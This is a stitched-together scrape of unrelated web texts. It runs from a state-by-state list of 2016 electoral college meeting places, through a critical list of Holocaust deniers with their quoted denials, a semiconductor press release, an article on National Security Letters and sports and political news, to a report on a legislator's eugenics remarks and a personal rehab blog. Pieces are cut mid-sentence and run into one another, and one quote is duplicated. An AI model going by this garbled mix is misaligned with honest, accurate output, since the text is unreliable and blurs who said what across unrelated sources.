Governor’s Conference Room (second floor)
Arizona State Capitol Building
1700 W. Washington St.
Phoenix, AZ 85007
Missouri:
State law exceedingly unclear, no announcement yet from Secretary of State: http://law.justia.com/codes/missouri/2013/title-ix/chapter-128/
Nebraska:
No time specified: http://nebraskalegislature.gov/laws/statutes.php?statute=32-714
Note: a 2014 law guarantees that all Nebraska electoral votes will be cast for Trump
Kansas:
Somewhere in Topeka at 12:00 P.M. CST
(Exact location not specified, nor is it even clear that the meeting would have to take place in the Capitol Building)
South Dakota:
December 19, 2016
12:00 P.M. CST
South Dakota State Capitol (exact location unknown)
500 E. Capitol Ave.
Pierre, SD 57601
North Dakota:
December 19, 2016
1:00 P.M. CST
North Dakota State Capitol — Governor’s Office (!!!)
600 E. Boulevard Ave.
Bismarck, ND 58505
Montana:
Montana seems to have recently repealed all laws governing where/when electors must meet: http://leg.mt.gov/bills/mca_toc/13_25_1.htm
Idaho:
December 19, 2016
12:00 P.M. MST
Idaho State Capitol (exact location unknown)
700 W. Jefferson St.
Boise, ID 83702
Utah:
Unclear: looks as though the Lieutenant Governor is in charge for some reason
Amusingly, Utah statute does not specify a time/location, but does specify that electors are barred from receiving financial compensation for their efforts
Wyoming:
December 19, 2016
12:00 P.M. MST
Office of the Secretary of State (NOT the State Capitol Building)
2020 Carey Avenue
Suite 600
Cheyenne, WY 82002
Georgia:
December 19, 2016
12:00 P.M. EST
Georgia State Capitol (exact location unknown)
206 Washington St. SW
Atlanta, GA 30334
South Carolina:
December 19, 2016
11:00 AM EST (Or as SC statute puts it, “eleven in the forenoon”)
Office of the Secretary of State (NOT the South Carolina State House)
Edgar Brown Building
1205 Pendleton St., Suite 525
Columbia, SC 29201
North Carolina:
NC Secretary of State identifies the meeting place as such: “Old Hall of the House of Representatives in the State Capitol in Raleigh at noon”
(North Carolina might have the most convoluted election law of all in this area. Note that the Governor is required by statute to “proclaim” the election results once they are submitted.)
Update: I got a copy of the Governor’s proclamation stating the time and location
West Virginia:
December 19, 2016
NO TIME SPECIFIED
Office of the Governor
West Virginia State Capitol
1900 Kanawha Boulevard, East
Charleston, WV 25305
Kentucky:
December 19, 2016
11:30 A.M. CST
Kentucky State Capitol — Supreme Court Room (Room 235)
700 Capitol Avenue
Frankfort, KY 40601
Tennessee:
No time or exact location specified: http://law.justia.com/codes/tennessee/2010/title-2/chapter-15/2-15-104
Maine**:
December 19, 2016
2:00 P.M. EST
Maine State House — House Chamber
100 State House Station
Augusta, ME 04333
**Trump won 1 of Maine’s 4 electoral votes
Alaska:
December 19, 2016
11:00 A.M. AKST
State of Alaska — Library Archives Museum
395 Whittier Street
Juneau, AK 99801
Iowa:
December 19, 2016
No time specified
Iowa State Capitol (exact location unknown)
1007 E. Grand Ave.
Des Moines, IA 50319
******************
You continued support is requested and appreciated. There are multiple ways to give.The most divisive and successful man in local rap, 360 has continued his unparalleled chart run with his new single Price of Fame featuring Gossling reaching Gold status. The preceding single Live It Up feat. Pez has also been certified Gold.
Further whetting Australian appetites for the epic forthcoming ‘Utopia‘ tour that will also feature the likes of US rapper Hopsin, UK rapper Lunar and local favourites Pez and Miracle, 360 delivered a stand-out performance at last weekend’s ‘Splendour in the Grass‘ |
group in the United States. Founder of the Barnes Review, a "historical revisionist" magazine that mostly runs articles questioning the Holocaust but covers it up with other articles on serious historical topics. Previously founded the wingnut Liberty Lobby in 1955.
David Dees — Former Sesame Street illustrator turned conspiracy theorist. His Photoshopped creations have been heavily used by like-minded conspiracy believers, and these include a number of which include references to Holocaust revision.[144][145][146][147]
Francis E. Dec[148] — Disbarred lawyer[149] turned pamphleteer known for vehement and often incoherent screeds of a delusional and paranoid nature. In one of his pamphlets, dated Spring 1984, he insisted that during World War II, the Jews lived in luxury while the concentration camps were run by both the Jews and the Nazis in order to exterminate Polish and Slavic people.[150]
Savitri Devi, née Maximiani Portas (1905–1982) — Greek-British ethnicity, French citizenship, Hindu-convert, spy for the Nazis, imprisoned in Germany after World War II for distributing Nazi propaganda. She convinced Ernst Zündel (below) to deny the Holocaust.[151]
David Duke (1950–) — Neo-Nazi and former-Grand Wizard of the Ku Klux Klan, well-known and despised in the United States. Notably came disturbingly close to being elected Governor of Louisiana in 1990.
Robert Faurisson (1929–) — French writer, prosecuted for defamation in 1979 after writing letters to Le Monde claiming there were no gas chambers. The author of a 1991 booklet claiming the Diary of Anne Frank is a forgery.
Bobby Fischer (1943–2008) — American world chess champion. Despite his openly anti-Semitic remarks and denial of the Holocaust from the 1980s until his death, he reportedly was on good terms with Jewish chess players. Fischer's mother and possibly his biological father were Jewish.
Michael Hoffman (1957–) — American writer and editor of the journal Revisionist History. Claims that he is being persecuted by anti-German Jewish "racists."
David Irving (1938–) — A "historian and a neutral observer" who believes that the Jews asked for it.
Milton L. Kapner a.k.a. Brother Nathanael Kapner — Born to Jewish parents, he converted to Russian Orthodox Christianity and joined a monastery.[153] While he often wears the trappings of a monk, he no longer is one, and his actions have been denounced by the Synod of Bishops of the Russian Orthodox Church Outside of Russia.[154] Runs the "Brother Nathanael Foundation" (a tax-deductible 501(c)3 Non-Profit), and a website called "Real Jew News" where he has a page listing "Holocaust Hype Articles". He has also made a number of YouTube videos promoting his views.
Charles Wing Krafft (1948–) — Pop artist noted for his "disasterware" (Delft plates depicting violent disasters or fascist themes) and funerary memorial porcelain artworks crafted from human remains, who was outed as an anti-Semite and holocaust denier. On a July 28, 2012, podcast on The White Network, a site that officially hosts the program "Whites Talking To Whites About White Interests", he openly stated, "I believe the Holocaust is a myth."[155] In an e-mail to writer Jen Graves of The Stranger, regarding his thoughts on the Holocaust, he stated,
“ ” "I don't doubt that Hitler's regime killed a lot of Jews in WWII, but I don't believe they were ever frog marched into homicidal gas chambers and dispatched. I think between 700,000-1.2 million Jews died of disease, starvation, overwork, reprisals for partisan attacks, allied bombing, and natural causes during the war."[156] "I don't doubt that Hitler's regime killed a lot of Jews in WWII, but I don't believe they were ever frog marched into homicidal gas chambers and dispatched. I think between 700,000-1.2 million Jews died of disease, starvation, overwork, reprisals for partisan attacks, allied bombing, and natural causes during the war."
Fred Leuchter (1943–) — Consultant to the lucrative capital punishment industry in the U.S. and manufacturer of electric chairs. In 1988, he was hired by Ernst Zündel to investigate whether the gas chambers in Nazi concentration camps could have been used for mass extermination. Leuchter claims he concluded they could not have been and published The Leuchter Report: An Engineering Report on the Alleged Execution Chambers at Auschwitz, Birkenau, and Majdanek Poland. Fred Leuchter has no scientific background to have made such a claim. He was the subject of the 1999 Errol Morris documentary Mr. Death: The Rise and Fall of Fred A. Leuchter, Jr.
Laurent Louis (1980–), a member of the Debout Les Belges! party and of the Belgian parliament. He was convicted in 2015 of Holocaust denial.[157]
Texe Marrs (1944–) — Christian writer and conspiracy theorist. On his website he sells his own recordings entitled The Holocaust Controversy and the Falsification of History, and Holocaust Dogma Unmasked — A Grim Global Conspiracy Mocking Reality and Capitalizing on Death is Outed by Brave Truthtellers. He also peddles Victor Thorn's book The Holocaust Hoax Exposed: Debunking the 20th Century’s Biggest Lie, and Brian Alois Clèrauba's book A Greater "Miracle" Than The Lost Ten Tribes Discovered...—The Dead "Six Million" Uncovered...!, as well as the anti-Semitic screeds The Protocols of the Learned Elders of Zion, and Martin Luther's On the Jews and Their Lies.
Eustace Mullins (1923–2010) — Anti-Semitic writer and (until his recent demise) contributing editor to Barnes Review.
Ahmed Rami (1946–) — Moroccan-Swedish writer, and founder of Radio Islam. Sentenced by a Swedish court in 1990 to six months in prison for hate speech rising from the material including, but not limited to, Holocaust denial. Has co-written a Holocaust denial book, Tabubelagda tankar (Tabooed Thoughts), with Swedish Neo-Nazi leader Björn Björkqvist.
Roeland Raes (1934–) is a Belgian politician, a former senator and vice president of the Vlaams Blok party. He was convicted of negationism under the Belgian Holocaust denial law in 2010.[158]
George Lincoln Rockwell (1918–1967) — US Navy veteran of both World War II and the Korean War, and one-time commercial illustrator, advertising agent, magazine publisher, and sign painter, later founder of the American Nazi Party (later known as National Socialist White People's Party), which was one of the first US organizations to promote Holocaust revisionism and denial as part of its ideology. (It splintered off into numerous groups after his 1967 murder by a purged party member.) An outspoken white supremacist and anti-Semite, he was quoted in an April 1966 interview in Playboy:
“ ” "I don't believe for one minute that any 6,000,000 Jews were exterminated by Hitler. It never happened." … "I emphatically deny that there is any valid proof that innocent Jews were systematically murdered by the Nazis. The photographs you've seen that have been passed off as pictures of dead Jews have been identified as pictures of the corpses of German civilians — mostly women and children and refugees who were killed in the one-night Allied "I don't believe for one minute that any 6,000,000 Jews were exterminated by Hitler. It never happened." … "I emphatically deny that there is any valid proof that innocent Jews were systematically murdered by the Nazis. The photographs you've seen that have been passed off as pictures of dead Jews have been identified as pictures of the corpses of German civilians — mostly women and children and refugees who were killed in the one-night Allied bombing of Dresden, which slaughtered 350,000 innocent people."
Germar Rudolf, a.k.a., Germar Scheerer (1964–) — German student who released a poorly researched report while interning at the Max Planck institute claiming that samples taken from gas chamber walls showed no more cyanide evidence than random farmhouses. He ignored the basic chemistry of cyanide by not discriminating against iron-based cyanide compounds.[159] The study was subsequently falsified, and Rudolf was fired and imprisoned. Rudolf has since gone on to other impressive feats such as denying 9/11.
Bradley Smith — A crank who has spent the last 25 years trying to place advertisements in newspapers calling for an "open debate" on whether the Holocaust happened. He seems to crave the controversy that results and chants the mantra of "free speech" a lot. He is especially fond of trying to place these ads in student newspapers on college campuses, which usually results in free publicity for him and his pet cause whether or not the ads are accepted for publication.
David Stein a.k.a. David Cole — Leader of Republican Party Animals, a Hollywood-based conservative political group. In 2013, he was exposed as being "David Cole," a Holocaust revisionist who made a splash in the media in the 1990s.[160]
Paul Topete — Lead vocalist of the "Patriot" rock band Poker Face. On the band's on-line forum, Topete, using the handle "Pokerkid", has made a number of anti-Semitic statements, including the following (reproduced verbatim):
“ ” "I am always amazed at how many roads lead back to one of the largest if not THEE [sic] largest scam ever played on humanity… Yes that [sic] right… the HOLOHAUX aka holocaust. 1985 and 1988 Ernst Zundel DESTROYED the Myth known as the cult of holohauzianity. In a canadien [sic] court of law, Ernst zundel took on the biggest frauds in the SHOAH Industry, and showed them to be the frauds that they were. Names like Raoul Hilberg and Vrba. And several other parasites known to infest this worldly sham. [161] "I am always amazed at how many roads lead back to one of the largest if not THEE [sic] largest scam ever played on humanity… Yes that [sic] right… the HOLOHAUX aka holocaust. 1985 and 1988 Ernst Zundel DESTROYED the Myth known as the cult of holohauzianity. In a canadien [sic] coSANTA CLARA, Calif., July 1, 2015 (GLOBE NEWSWIRE) -- Ambarella, Inc. (NASDAQ:AMBA), a leading developer of video compression and image processing semiconductors, today announced the acquisition of VisLab S.r.l., a privately held Italian company based in Parma, Italy for $30 million in cash. VisLab, the Vision and Intelligent Systems Laboratory at the University of Parma, is a pioneer in perception systems and autonomous vehicle research and was founded by Professor Alberto Broggi. The company has developed computer vision and intelligent control systems for automotive and other commercial applications, including Advanced Driver Assistance Systems and several generations of autonomous vehicle driving systems. These include "Porter," an autonomous vehicle that made a 13,000 km autonomous trip from Italy to China in 2010.
"Computer vision is an area of significant focus for Ambarella, and will be critical to our current video markets, as well as future markets such as automotive OEM cameras," said Fermi Wang, CEO of Ambarella. "We are delighted to welcome Dr. Broggi and the VisLab team to Ambarella to jointly define, develop and deploy future generations of computer vision solutions."
"The unique combination of VisLab's computer vision expertise and Ambarella's high performance, power-efficient video processing technology will enable extremely powerful systems," said Professor Broggi. "We are very pleased to join Ambarella and to realize the full potential of our research and algorithms across a wide range of customers' products."
As part of the acquisition, VisLab's 27 researchers will join Ambarella's advanced computer vision development team. This will enable extensive and robust computer vision support in future Ambarella solutions targeting Ambarella's core markets including automotive, IP security, wearable, and flying cameras.
Conference Call
Ambarella plans to hold a conference call at 1:30 p.m. Pacific Time /4:30 p.m. Eastern Time today with Fermi Wang, Chief Executive Officer, and George Laplante, Chief Financial Officer. The call can be accessed by dialing 877-304-8963 in the USA; international callers should dial 760-666-4834. Participant passcode is "Ambarella." Please dial in ten minutes prior to the scheduled conference call time. A live and archived webcast of the call will be available on Ambarella's website at http://www.ambarella.com/ for one week.
Further Information
Further information can be obtained directly from Ambarella at www.ambarella.com/about/contact/inquiries
The URL for this news release is: www.ambarella.com/about/news-events.html
About Ambarella
Ambarella, Inc. (NASDAQ:AMBA), is a leading developer of low-power, high-definition (HD) and Ultra HD video compression and image processing solutions. The company's products are used in a variety of HD cameras including security IP-cameras, sports cameras, wearable cameras, flying cameras and automotive video camera recorders. Ambarella compression chips are also used in broadcasting TV programs worldwide. Ambarella is the recipient of the Global Semiconductor Alliance 2014 Award for "Most Respected Emerging Public Semiconductor Company." For more information about Ambarella, please visit www.ambarella.com.
All brand names, product names, or trademarks belong to their respective holders. Ambarella reserves the right to alter product and service offerings, specifications and pricing at any time without notice.
© 2015 Ambarella. All rights reserved.
Ambarella Contact: www.ambarella.com/about/contact/inquiries Investor Relations Contact: Deborah Stapleton T: +1 650 815 1239 [email protected] tech companies, advocacy groups, and at least one senator have publicly proclaimed their opposition to two bills currently working their way through Congress. The two pieces of proposed legislation would each significantly expand use of National Security Letters to include "Electronic Communication Transactional Records"—better known as metadata.
As Ars has reported previously, federal investigators issue tens of thousands of NSLs each year to banks, ISPs, car dealers, insurance companies, doctors, and others in terrorism and espionage investigations. The letters demand personal information, and they don't need a judge's signature, much less a showing of probable cause. They also come with a default gag to the recipient that forbids the disclosure of the NSL to the public or the target.
On Thursday, the Senate Judiciary Committee is set to vote on one of those provisions as an amendment to a bill called the Electronic Communications Privacy Act Amendments Act of 2015 (S. 356). The provision would allow NSLs to target "account number, login history, length of service (including start date)… Internet Protocol address… routing, or transmission information…" and more.
This amendment is authored by Sen. John Cornyn (R-Texas), and it's being tacked on to a pending Senate bill. If passed, the Electronic Communications Privacy Act Amendments Act of 2015 would mandate a warrant for the government to access e-mail and data stored online. (The House unanimously passed its companion version, known as the Electronic Communications Privacy Act, in April 2016.)
The second possible legislative route to expanding NSL power comes via a revision to the Intelligence Authorization Act for Fiscal Year 2017.
In a letter sent to the Judiciary Committee on Monday, groups including the American Civil Liberties Union, Amnesty International, and the Electronic Frontier Foundation said they would withdraw their support for the badly needed ECPA reform bill if the Cornyn amendment or the revision to the IAA were allowed to stand.
As they wrote:
The civil liberties and human rights concerns associated with such an expansion are compounded by the government’s history of abusing NSL authorities. In the past ten years, the FBI has issued over 300,000 NSLs, a vast majority of which included gag orders that prevented companies from disclosing that they received a request for information. An audit by the Office of the Inspector General (IG) at the Department of Justice in 2007 found that the FBI illegally used NSLs to collect information that was not permitted by the NSL statutes. In addition, the IG found that data collected pursuant to NSLs was stored indefinitely, used to gain access to private information in cases that were not relevant to an FBI investigation, and that NSLs were used to conduct bulk collection of tens of thousands of records at a time.
For his part, Sen. Ron Wyden (D-Ore), a longstanding civil liberties-minded lawmaker, also voiced his opposition to this amendment in a statement sent to Ars.
"This bill takes a hatchet to important protections for Americans’ liberty," Wyden said, speaking specifically of the IAA. "This bill would mean more government surveillance of Americans, less due process, and less independent oversight of US intelligence agencies."Spurs forward LaMarcus Aldridge has cried foul over the team's having only one player going to Sunday's All-Star Game.
Aldridge, speaking to The Vertical, said it wasn't fair the Warriors will send four players -- Kevin Durant, Stephen Curry, Klay Thompson and Draymond Green -- to the Spurs' one, in Kawhi Leonard, despite holding the second-best record in the NBA -- 42-13 (.764) to Golden State's 46-9 (.836).
"I'm older, so I'm not going to come home and be mad or anything," Aldridge told the Yahoo! Sports website. "But I do think that it was wrong for Golden State to have four [All-Stars] and we're a few games behind and only have one."
Aldridge had been selected to five straight All-Star Games, including last year in his first season with the Spurs.
"It is what it is," Aldridge said. "I'm in this position and I'm going to enjoy my break and just come back fresh."
Aldridge, who said he'd spend the All-Star break in Cabo San Lucas, Mexico, chose San Antonio in free agency in 2015 after nine years with the Portland Trail Blazers.
He was a hot commodity and he was expected to be a building block for the future.
"It was very difficult, because I couldn't be the guy that I've been my whole career," Aldridge said of last season. "It was very difficult to adjust from being who I was to who I am now. Now, I'm fine. I do what I'm asked to do. I rebound, take shots every now and then. I'm not really asked to be that guy that I was, so I just play the role that they want me to play. Play defense. Do pick-and-pop when they need it, and other than that just play off Kawhi."If derelict, rundown buildings are your thing, then have we found the deal for you. You can now buy a stretch of a Georgia town that was featured in Season 3 of The Walking Dead. B.Y.O. Zombies, I’m afraid.
Former mayor Jim Sells has listed nine buildings in the downtown area for sale on eBay. Don’t think The Walking Dead fans will bite? You might be surprised. Sells said:
Our main industry right now is Walking Dead tourists. We have people coming from all across the world because they love The Walking Dead. That’s paying the bills downtown.
But Sells is hoping to squeeze a little bit more than souvenirs and tourist meals out of some Walking Dead super-fan. Sells has listed the buildings for $680,000 O.B.O.
Having trouble placing downtown Grantville from this listing? Maybe this stunning shot will jog your memory. Look closely, it moves.
Yep, that’s Grantville’s very own train depot that was converted into a café for the episode “Clear.” The rest of the downtown was transformed thanks to Morgan’s maze of lethal booby traps. But you won’t get any elaborate zombie death traps for the low, low price of $680,000. Those’ll cost you extra.
Sign up for Vanity Fair’s Cocktail Hour, our daily rundown of five stories worth discussing over drinks.The Clinton political machine is pulling out all the stops to secure victory in the upcoming South Carolina primary. After narrowly eeking out a victory in Iowa, Democratic presidential candidate Hillary Clinton is determined to secure a decisive win over rival Sen. Bernie Sanders.
Black voters make up half of the electorate in South Carolina. According to an NBC News/Wall Street Journal/Marist poll, Clinton leads Sanders 75 to 17 among Black voters. The Washington Post said more than 170 Black women are set to campaign for Clinton in South Carolina and other Southern states. Clinton is counting on the Black vote to secure the Democratic nomination, but it may not be a sure thing. Some Black voters are looking at Sanders’ record. Sanders is a veteran civil rights activist who has also laid out plans to end the Drug War, reduce the militarization of the police and end mass incarceration. Sanders was the only candidate to talk about the link between urban unrest and Black unemployment.
“I do not separate the civil-rights issue from the fact that 50 percent of African-American young people are either unemployed or underemployed,” said Sanders in an interview with The Nation.
The Clintons have enjoyed the support of the Black community in the past. Tony Morrison said Bill Clinton was the first “Black president,” because he grew up in a single parent, blue-collar home and played the saxophone. But in recent years some Black people have questioned Clinton’s record. As president, he adopted Republican anti-welfare programs and also passed harsh sentencing laws that lead to the mass incarceration of Black men and women. Clinton has since apologized for his actions.
Michelle Alexander, author of The New Jim Crow, has expressed astonishment that Black people are strong backers of the Clintons.
“I can’t believe Hillary would be coasting into the primaries with her current margin of black support if most people knew how much damage the Clintons have done — the millions of families [that were] destroyed the last time they were in the White House thanks to their boastful embrace of the mass incarceration machine and their total capitulation to the right-wing narrative on race, crime, welfare and taxes,” said Alexander in a Facebook post.
According to The Atlanta Blackstar, the Clintons have played both sides of the fence. They have positioned themselves as supporters of the Black community, while passing policies that harmed Black people. They also never tried to dismantle white supremacy. Amanda Girard of U.S. Uncut said that while Bill Clinton was governor of Arkansas, he failed to oppose Confederate Flag Day.
The Clintons also lost some Black supporters after Bill Clinton made disparaging comments about Sen. Barack Obama when he was running against Hillary in the 2008 Democratic primary. Obama won South Carolina.
However, Hillary Clinton’s campaign is still expecting Black women to support her. According to the campaign, they expect Black supporters to, “talk about how Clinton will fight for women by working to close the pay gap, fight for paid family leave, make affordable child care a reality, protect women’s reproductive rights, raise the minimum wage and promote women’s rights around the world.”
It remains to be seen what Black voters will get in return for their strong devotion to the Clintons and the Democratic party in general. Political pundit Tavis Smiley has long been critical of the Black community voting en masse for the Democratic party. He has suggested Black voters hold back their ballots in one election to force the Democrats to really campaign for the vote, instead of taking it for granted. However, the alternative is voting for the Republican party, which ignores Black issues and tolerates people like Donald Trump and Rush Limbaugh, who are openly hostile to Black people. Black voters don’t have much of a choice.For years, Minnesota United star Christian Ramirez was motivated by his past. Unheralded and, in many ways, unwanted during his early years, Ramirez staked his claim as the NASL’s best goalscorer time and time again, all while nursing a chip the size of Minnesota that sat firmly upon his shoulders. Even as accolades and praise came his way, the forward always looked towards the doubt that drove him to becoming one of America’s brightest young goalscorers.
But 2016 is a bit different. After years of pushing past perceived slights, Ramirez has finally let go of the doubts that defined his early career. His motivation now? An uncertain future, one that he is still desperate to define on his own terms.
Since joining the team in January 2014, Ramirez has been the face of Minnesota United. In just 78 games, Ramirez has fired 45 goals and 14 assists while earning the 2014 Golden Ball and two NASL Best XI selections. Yet, as the Loons prepare for a 2017 jump to MLS, Ramirez remains unsure of where he will be playing next season. That uncertainty has become Ramirez’s rallying call as the forward looks to impress not just Minnesota United, but anyone willing to watch.
“The motivation that has pushed me to continue with the year that I’m having is the fact that I don’t have anything guaranteed for next year,” Ramirez told SBI. “I feel I should already know where my future lies for the next couple of years. Not knowing where my future lies, it’s an uncertainty that drives me. I continue to push, continue to score goals and that’s all I can really do.
“At the end of the day, I know that soccer is a business and I’ll find a home somewhere if things don’t work out, but that’s been a real driving force for me: putting my name out to the world and seeing where that takes me. I feel, if the roles were reversed, if I wasn’t having a good year, I’d be in desperation mode, so it’s good to be affirmative in the way that I’ve played this year and strived to play and score goals and push the boundaries.”
Still, the forward remains “open” towards continuing to call Minnesota home. Ramirez says he understands that the salary cap restricts how the Loons can operate heading towards MLS, but the 25-year-old added that, if the numbers work out, he’d love to continue to build his career in Minnesota.
However, Ramirez also insists he’s realistic as he looks to build upon what has been another spectacular season. As of Tuesday, Ramirez once again leads the league in goals with 13 as the Loons remains in the hunt for a postseason berth.
“Soccer is a business,” Ramirez said. “Maybe they go in a different direction and I go elsewhere. There’s always speculation and rumors of teams interested and that sort of thing, so for me, I don’t want to wait two or three months to figure that out. If it was up to me, it would have already been figured out and put to rest so I could play freely.
“At the same time, I enjoy playing with this added pressure. It’s fun going out there knowing everyone is watching and one game can turn one way and the next game can turn a completely different way. It keeps me on my toes, keeps me focused on the main goal. I want to be on a winning team, and that’s what I’m focused on: winning and ending this year with a championship. At the same time, you have to be selfish at some point and realize that it is a business and separate that and I think I’ve done a good job of that.”
So early in a process that promises so much change, Minnesota United remains focused on the existing challenge. According to Minnesota United general manager Manny Lagos, the team is still assessing the current group ahead of making what the longtime coach calls “hard and tough decisions”. Lagos says that the middle of an NASL season is not the time to make and announce those decisions, as the team remains focused on exiting the league with a trophy in hand.
Still, Lagos, who coached Ramirez for two years before moving to the front office, looks forward to Ramirez’s continued growth. Lagos says that he, like every American soccer fan, gets excited at the idea of an American scoring goals at a top level, and Ramirez has certainly shown the potential to do just that.
“To me, he’s an exciting player that scores goals and will continue to get better,” Lagos told SBI. “He’s certainly been challenged in a positive way to start his professional career. The future is bright for him. The future has a lot of growth for him. He’s excited about where he thinks his career is going and the challenges ahead and how he can embrace them and use the experiences that he has now to become an even better player in the future.”
While securing a club future remains one of Ramirez’s immediate goals, it’s far from his only target. Ramirez wants to push the Loons into the playoffs while helping to capture an elusive NASL crown. He wants to continue to thrive as the NASL’s top scorer. He wants to be a part of one of the league’s best attacks, joining players like Stefano Pinho, Lance Laing and Ben Speas in wreaking havoc for a team moving towards full health.
The ultimate goal, though, remains unchanged: a call-up to the U.S. Men’s National Team. Ramirez says it’s been “a lifelong dream” to wear the USMNT jersey, one that he knows is possible if he continues on the path. After seeing former teammate Miguel Ibarra earn a spot with the national team, Ramirez has been motivated to book his own place among the country’s very best. From what he’s seen, Ramirez knows that if he plays well and his team keeps winning, he has a chance, one that he intends on taking when the time comes.
That quest took a turn this past offseason, as a freak encounter helped put the forward in contact with the man in charge of making those sorts of decisions. While spending time in his native California, Ramirez ran into USMNT boss Jurgen Klinsmann while shopping at the local Nike store. The two exchanged contact information and discussed offseason fitness programs, as Klinsmann advised Ramirez to reach out if he was ever in need. Several months later, the German legend was tweeting praise at the Minnesota United forward, thrusting him into the national spotlight once again.
With a move to MLS or abroad likely on the horizon, Ramirez is looking to follow in the footsteps of former Fort Lauderdale Strikers star Fafa Picault, a player that earned his USMNT shot earlier this year after breaking out with German club St. Pauli. Ramirez admits he reads the articles and tweets pushing for his call-up, and he admits that it is exciting to be in the conversation. For years, he’s looked up to players like Clint Dempsey and, if all goes according to play, Ramirez hopes to someday be competing at the same level.
“You always wonder if maybe (playing in NASL is) what’s holding you back from being called,” Ramirez said. “Those are questions that may be answered if I was scoring 13 goals in MLS or Liga MX or overseas. You have a guy like Fafa who was playing in the NASL, had a good year with the Strikers in 2014 and then moved overseas and got the call for the Puerto Rico game. That’s always exciting and it pushes you. I was competing with Fafa for the Golden Boot that year. To see him get the call-up is really nice because it gives us all hope.
“It’s always been a lifelong dream to put on those colors,” he added. “I know that if I play well and if coach Jurgen wants to take a look at me, I’ll get that call. If I’m not playing well and the team’s not winning, that won’t happen.”
Still, the call seems far away, especially as there’s an NASL season to conclude. Like the rest of his Minnesota United teammates, Ramirez craves an NASL title, one that has slipped from grasp each of the last several seasons.
Ever since he first began his professional career in 2013 with the USL’s Charlotte Eagles, Ramirez has been driven by a desire to prove doubters wrong. His motivation has changed as he has continued to make success a habit. Now he is focusing his energy on reaching new heights after reaching so many of the goals he previously set for himself.
“For myself, I want to end up with that Golden Boot in my hand at the end of the year,” Ramirez said. “I know that Eamon Zayed is pushing and has had a fantastic year with a couple of hat-tricks. I want that second one because I want it. It’s simple as that. Without my teammates and us winning and getting back on track, that won’t be possible.
“I want to be in the playoffs and anything can happen in the playoffs,” Ramirez said. “At any point, anyone who sees they’re going up against Minnesota United doesn’t think that they’re a favorite going up against us. We have a lot to prove. Guys are playing for their lives this year, so it’s good desperation that we will play with. There are chips on our shoulders and we’ll continue to battle.”BARRINGTON — A local state representative has surrendered his seat following continuing pressure to resign after making inflammatory comments to an agent of a local nonprofit.
BARRINGTON — A local state representative has surrendered his seat following continuing pressure to resign after making inflammatory comments to an agent of a local nonprofit.
A public backlash followed the comments of 91-year-old freshman state representative Martin Harty, of Barrington, who said last week funding for the mentally ill should be cut because he doesn't support state funding for "the crazy people" who should be sent to "Siberia."
Harty said in his resignation letter Monday that he was sorry his "big mouth caused this furor." He said with all the "slightly unfavorable publicity" he couldn't be effective.
"Representative Harty came to my office today to offer his resignation in person," said House Speaker William O'Brien in a statement released Monday. "We both agreed that this is what is best for the House to move forward and focus on critical issues, like balancing our budget without raising taxes and giving the voters an opportunity to pass a school funding amendment to ensure local control. We will move quickly to request a special election to fill this vacancy."
Harty's letter of resignation will be read on the House floor Tuesday, at which point his seat will become vacant.
NH GOP Chairman Jack Kimball released the following statement regarding Harty's resignation.
"I am pleased Mr. Harty acknowledged his comments were not appropriate for a legislator and I am satisfied with his decision to resign. He failed to represent the sentiments of his constituents and the core values and principles of the Republican Party."
Last week Harty told Sharon Omand, a program manager at Community Partners, which provides behavioral health and developmental services for Strafford County, that he believed in eugenics and disagreed with her about the need for funds for mental health services.
"The world population has gotten too big and the world is being inherited by too many defective people," he told her.
Omand said she asked him to clarify if he meant mentally ill and developmentally disabled and he responded, "I mean all the defective people, the drug addicts, mentally ill, the retarded — all of them."
"I asked what we should do with them," Omand said, and Harty said, "I believe if we had a Siberia we should send them to this and they would all freeze and die and we will be rid of them."
Harty later confirmed his comments in an interview with Foster's Daily Democrat.Jake Browne, general manager of The Releaf Center, a Denver medical marijuana center, smells a marijuana bud in his dispensary on Thursday, July 29, 2010. The Releaf Center has 2,600 patients and is prepared to grow enough marijuana to stay in business, but Browne said many dispensaries won't be able to meet the requirement. (AP Photo/Ed Andrieski) AP Photo, file
(CBS/AP) TRENTON, N.J. - Though many pot smokers were celebrating their unofficial 420 holiday on Wednesday, New Jersey wants to know if its medical marijuana program violates federal law.
The Star-Ledger of Newark reports state Attorney General Paula Dow's office sent a letter Tuesday to U.S. Attorney General Eric Holder.
Dow asked whether those licensed to sell or grow marijuana and the state workers who will administer the program would face arrest.
The request comes after Washington State's governor last week threatened to veto legislation that requires state employees to implement a marijuana licensing system. The Justice Department had warned that state employees could be liable for breaking federal law.
New Jersey Democrats and Republican Governor Chris Christie have been at odds over how to implement the medical marijuana program.
Christie has imposed regulations that would tighten access.Progress. Damn, it feels good
Chris Rawles Blocked Unblock Follow Following Jun 30, 2017
Five A.M. No alarm. I’m wide awake. It was time.
My mind was clear. “I’m going to the gym and I’m going to put up some shots”. I knew right away. After months and months of physical therapy, it hits you.
Anxiety and worry. Will there be a tinge of pain on the follow through? Even on just layups? Is there a tear that’s invisible to doctors? Or maybe my anatomy is just broken. The doctors said it was just a Grade I-II AC Joint separation in my shoulder, but they just don’t know my history. It feels impossible to explain my past history of 6+ years of doing PT on both my shoulders, the countless past MRIs suggesting a SLAP tear in both shoulders, and the just the day-to-day pain and uncertainty.
I quietly packed up my stuff, careful not to wake Sam; headed to the gym.
No one is there. It’s empty. 6:30 AM and I’ve got the full gym to myself. The bouncing ball echoes through the large room….
One year ago. I quit entirely. I stopped trying one-armed basketball. I stopped trying strength training. I had achy shoulders. An achy foot. I tried to block out the feeling of a post-workout endorphin rush. Or playing ball with my friends. That’s just not for me anymore.
I had been doing PT, but it felt futile. The worst feeling is when you see no progress. You put in work and you don’t get a reward. I’m impatient. I strive to be more patient. Chris, this is good–you are building up your patience muscle. PT is making you mentally tougher. Man, fuck this.
Pain and not exercising is hell. I felt powerless and upset ay myself, mad at my body. Worried about my right shoulder and really mad at my reluctant-to-heal left shoulder. Mad at myself for feeling self |
changed our model a bit to account for some of the cost of the food that we are buying and using in the restaurant and charge a more appropriate price to be able to survive,” he said.
Government’s Role
On the government’s role to make sustainable locally produced food more available and affordable:
“Commodity food is subsidized, the food you normally see in restaurants that's not coming from local farms often times that is subsidized and it's cheap. So local food right now because of the way the financial system is set up, local food is more expensive and that's not a matter of being elitist that's because local producers did not get the subsidies that the national producers get," said Porter.
“What the government can do is get out of the way, if they would stop subsidizing process foods and everybody would be attuned to what the actual cost of food is and it wouldn't be that good food is so expensive is that food in most countries takes up a substantial amount of your income. Not nearly as much in America, directly, but it's taking up your tax dollars because we are subsidizing processed foods," White said.
To view PDF documents, Download Acrobat Reader.1 Manchester United misfit Federico Macheda
